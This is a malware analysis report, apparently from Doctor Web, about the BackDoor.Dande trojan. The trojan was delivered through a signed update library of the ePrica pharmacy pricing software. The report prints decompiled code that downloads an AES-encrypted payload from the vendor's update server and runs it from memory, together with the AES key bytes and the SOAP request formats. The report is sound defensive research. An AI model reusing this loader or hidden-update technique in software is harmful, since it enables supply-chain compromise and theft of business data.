SHA1:
installer | 64b57c90bcbf71ae4a28f8f742821c123bfb8061 |
---|---|
driver 1 | 65384de87e53a9249553b6f38c9b48da3ec4e041 |
driver 2 | 1a22a6c9cd04b25a108e08aa6e35637154e5aee6 |
Trojan | 781262c98f1bdd4e61cd888f71ccc712ff296bf6 |
PriceCompareLoader.dll | b3915aa38551a5b5270b23e372ae1241161ec598 |
PriceComparePm.dll | 014a9166c5516a5193b6b638eeae635170f25829 |
Backdoor Trojan designed to steal information about a medication procurement from drugstores and pharmaceutical companies. Doctor Web examined a source of infection with this version of malicious program. In the researched sample, driver tapec.sys (Dande), that launches all other Trojan components, was created on April 28, 2016.
04/28/16 11:34:59.9062500000;12/11/02 23:14:32.0000000000;06/16/16 12:28:52.5468750000 C:\Windows\System32\drivers\msteeb.sys
04/28/16 11:35:00.2031250000;04/15/08 17:00:00.0000000000;06/16/16 12:28:52.5312500000 C:\Windows\System32\drivers\tapec.sys
04/28/16 11:35:01.0468750000;12/25/08 22:00:20.0000000000;06/16/16 12:28:53.6250000000 C:\Windows\System32\drivers\telephona.cpl
Search for the string tapec.sys showed that it is present in two files:
- pagefile.sys (paging file)
- Avast\URL.db (Avast log in the format of database sqllite3)
The database contains the following tables:
sqlite> .schema
CREATE TABLE Paths (Time INTEGER, Path TEXT COLLATE NOCASE UNIQUE, ShortHash INTEGER, LongHash BLOB PRIMARY KEY, Flags INTEGER);
CREATE TABLE URLs (Time INTEGER, URL TEXT, ShortHash INTEGER, LongHash BLOB PRIMARY KEY, Flags INTEGER);
CREATE INDEX PathsPathIndex ON Paths (Path COLLATE NOCASE);
CREATE INDEX URLsShortHashIndex ON URLs (ShortHash);
where Paths is a list of programs launched on the examined computer. There was a second search in the range of one day before and one day right after creation of the malicious driver. It showed two interesting events:
1461832499|D:\ePrica\App\PriceCompareLoader.dll|2038233152|
1461832500|C:\WINDOWS\system32\drivers\tapec.sys|2510498394|
The malicious driver was created one second after the launch of the library D:\ePrica\App\PriceCompareLoader.dll, which is a part of the application ePrica.
ePrica research
ePrica is the application that was developed by a company called “Spargo Tekhnologii”. It allows executives of drugstores to analyze medication prices and to choose the best supplier. PriceCompareLoader.dll library used by this program has three exportable functions:
MemoryLoadLibrary
MemoryGetProcAddress
MemoryFreeLibrary
All these functions launch the libraries in the memory. PriceCompareLoader.dll is called from PriceComparePm.dll. The library is obfuscated with .NET Reactor 4.7. This library tries to download a payload from the website, decrypt it with the AES algorithm and launch from the memory. Below is the code of file downloading and launching:
public static void Download()
{
try
{
if (!UpdateDownloader.bool_0)
{
Guid sessionId = Settings.SESSION.SessionId;
if (!(sessionId == Guid.Empty))
{
UpdateService updateService = new UpdateService();
MyUtils.ConfigureWebServiceProxy(updateService, false);
int @int = SettingsAllUsers.GetInt("UPDATE_FLAG");
if (@int >= 0)
{
bool success = false;
if (@int > 0)
{
success = true;
}
DateTime date = SettingsAllUsers.GetDate("UPDATE_FLAG_MODIFIED");
updateService.ResetUpdateFlag(sessionId, success, date);
SettingsAllUsers.SetDirect("UPDATE_FLAG", -1);
}
else if (updateService.CheckUpdateFlag(sessionId))
{
byte[] array = new byte[UpdateDownloader.qOmraPoxb];
int num = 0;
while (true)
{
byte[] array2 = updateService.Load(sessionId, num);
try
{
array2 = AesEncryptor.Decrypt(array2, UpdateDownloader.byte_0, UpdateDownloader.byte_1);
}
catch
{
num = 0;
break;
}
int num2 = 0;
if (array2 != null)
{
num2 = array2.Length;
}
if (num2 == 0 || num + num2 > UpdateDownloader.qOmraPoxb)
{
break;
}
Array.Copy(array2, 0, array, num, num2);
num += num2;
}
if (num > 0 && num <= UpdateDownloader.qOmraPoxb)
{
Array.Resize<byte>(ref array, num);
UpdateDownloader.bool_0 = true;
Thread thread = new Thread(new ParameterizedThreadStart(UpdateDownloader.smethod_0));
thread.Start(array);
}
else
{
updateService.ResetUpdateFlag(sessionId, false, DateTime.get_Now());
}
}
}
}
}
catch
{
}
}
AES key and vector:
static UpdateDownloader()
{
Class3.uNNUGvkzmboS2();
UpdateDownloader.qOmraPoxb = 2097152;
UpdateDownloader.byte_0 = new byte[]
{
57,
75,
140,
42,
22,
100,
103,
39,
168,
179,
86,
81,
247,
11,
224,
242,
23,
154,
186,
128,
130,
171,
200,
170,
128,
217,
247,
238,
80,
200,
146,
12
};
UpdateDownloader.byte_1 = new byte[]
{
88,
199,
157,
130,
155,
231,
168,
148,
97,
45,
227,
215,
3,
234,
61,
172
};
}
Update check code:
private static void smethod_0(object object_0)
{
bool flag = false;
try
{
byte[] array = object_0 as byte[];
if (array != null)
{
SettingsAllUsers.SetDirect("UPDATE_FLAG", -2);
flag = CheckUpdate.Check(array);
}
}
catch
{
}
finally
{
try
{
if (flag)
{
SettingsAllUsers.SetDirect("UPDATE_FLAG", 1);
}
else
{
SettingsAllUsers.SetDirect("UPDATE_FLAG", 0);
}
SettingsAllUsers.SetDirect("UPDATE_FLAG_MODIFIED", DateTime.get_Now());
}
catch
{
}
UpdateDownloader.bool_0 = false;
}
}
Code for launching from the memory:
public static bool Check(byte[] byte_0)
{
IntPtr intPtr = IntPtr.Zero;
IntPtr intPtr2 = IntPtr.Zero;
try
{
if (byte_0 == null)
{
bool result = false;
return result;
}
intPtr2 = Marshal.AllocHGlobal(byte_0.Length);
Marshal.Copy(byte_0, 0, intPtr2, byte_0.Length);
intPtr = CheckUpdate.Class1.MemoryLoadLibrary(intPtr2);
if (intPtr == IntPtr.Zero)
{
bool result = false;
return result;
}
IntPtr intPtr3 = CheckUpdate.Class1.MemoryGetProcAddress(intPtr, "ModuleFunction");
if (intPtr3 == IntPtr.Zero)
{
bool result = false;
return result;
}
CheckUpdate.Delegate0 @delegate = (CheckUpdate.Delegate0)Marshal.GetDelegateForFunctionPointer(intPtr3, typeof(CheckUpdate.Delegate0));
@delegate(IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);
}
catch
{
bool result = false;
return result;
}
finally
{
try
{
if (intPtr != IntPtr.Zero)
{
CheckUpdate.Class1.MemoryFreeLibrary(intPtr);
}
}
catch
{
}
try
{
if (intPtr2 != IntPtr.Zero)
{
Marshal.FreeHGlobal(intPtr2);
}
}
catch
{
}
}
return true;
}
Protocol
The library exchanges information with a remote server using the SOAP HTTP protocol. For authorization, POST request is sent to the server http://ws.eprica.ru/app/InfoService.asmx with the following header:
'SOAPAction': "http://www.spargo.ru/es/LoginEx"
Authorization data has the following structure:
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<soap:Body>
<LoginEx xmlns="http://www.spargo.ru/es">
<wsUser>
<LicenseNumber>071122-164229</LicenseNumber>
<SessionId>00000000-0000-0000-0000-000000000000</SessionId>
<GuidDrugstore>00000000-0000-0000-0000-000000000000</GuidDrugstore>
<KodDrugstore>105570</KodDrugstore>
<Login>Администратор</Login>
<PasswordHash>/9P+uFEEaqgoKiKOQOZnOw==</PasswordHash>
<Version>4.0.26.30</Version>
<ComputerInfoHash>NVQKLJBTV1</ComputerInfoHash>
<AccessCode>ED287118-3933-4E97-95A7-9D3C4CF94421</AccessCode>
<DownloadedUpdateVersion>4.0.23.17</DownloadedUpdateVersion>
</wsUser>
<password>1230456</password>
</LoginEx>
</soap:Body>
</soap:Envelope>
The answer to the request is the following sessionId:
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<soap:Body>
<LoginExResponse xmlns="http://www.spargo.ru/es">
<LoginExResult>
<SessionId>64ad19a5-d8c3-481c-a95e-95ce9a3722ff</SessionId>
<AccessCodeNew>F06BBB44-558B-4C43-A278-1E7B787FE986</AccessCodeNew>
<ContentServiceUrl>https://pharmadata.ru/content/ContentUploadService.asmx</ContentServiceUrl>
<PackSize>0</PackSize>
<MobOrderCheckIntervalSec>300</MobOrderCheckIntervalSec>
<IsMobOrderDisabled>false</IsMobOrderDisabled>
<HasMobOrder>false</HasMobOrder>
<LastLogSave>2016-12-08T12:41:44.0065516+03:00</LastLogSave>
</LoginExResult>
</LoginExResponse>
</soap:Body>
</soap:Envelope>
To receive a payload, request is sent to the server http://ws.eprica.ru/app/UpdateService.asmx with the following header:
"SOAPAction": 'http://www.spargo.ru/es/Load'
The following XML file is sent:
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<Load xmlns="http://www.spargo.ru/es">
<guidSession>%s</guidSession>
<offset>%d</offset>
</Load>
</soap:Body>
</soap:Envelope>
The offset parameter is used because file is sent by piecemeal. The server’s response looks as follows:
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<soap:Body>
<LoadResponse xmlns="http://www.spargo.ru/es">
<LoadResult>fzzvOyrIohvnXggrGy35PtG9BG79/v7MebMKMMu+lN...
</LoadResult>
</LoadResponse>
</soap:Body>
</soap:Envelope>
The payload, that is sent to base64, is encrypted with the AES algorithm. It contains the BackDoor.Dande installer. The library itself has a valid digital signature SPARGO Technologies:
During the installation process, BackDoor.Dande deletes files of the old version of Dande: isaPnpPrt.sys, RpcSsPrt.sys, BackDoor.Dande.2. The Trojan chooses a random name from the folder %SYSTEM32%\drivers\ and saves its copy with the same name but adds several arbitrary symbols in the end. The Trojan extracts files that need to be saved from sections .cdata and .bdata. The data is stored in the container BackDoor.Dande.2. The name of the driver that has SHA1 65384de87e53a9249553b6f38c9b48da3ec4e041 is updated to the encrypted container. Thus, the digital signature, which has been valid, is deleted. In all other respects, the installation procedure is similar to the one of BackDoor.Dande.2.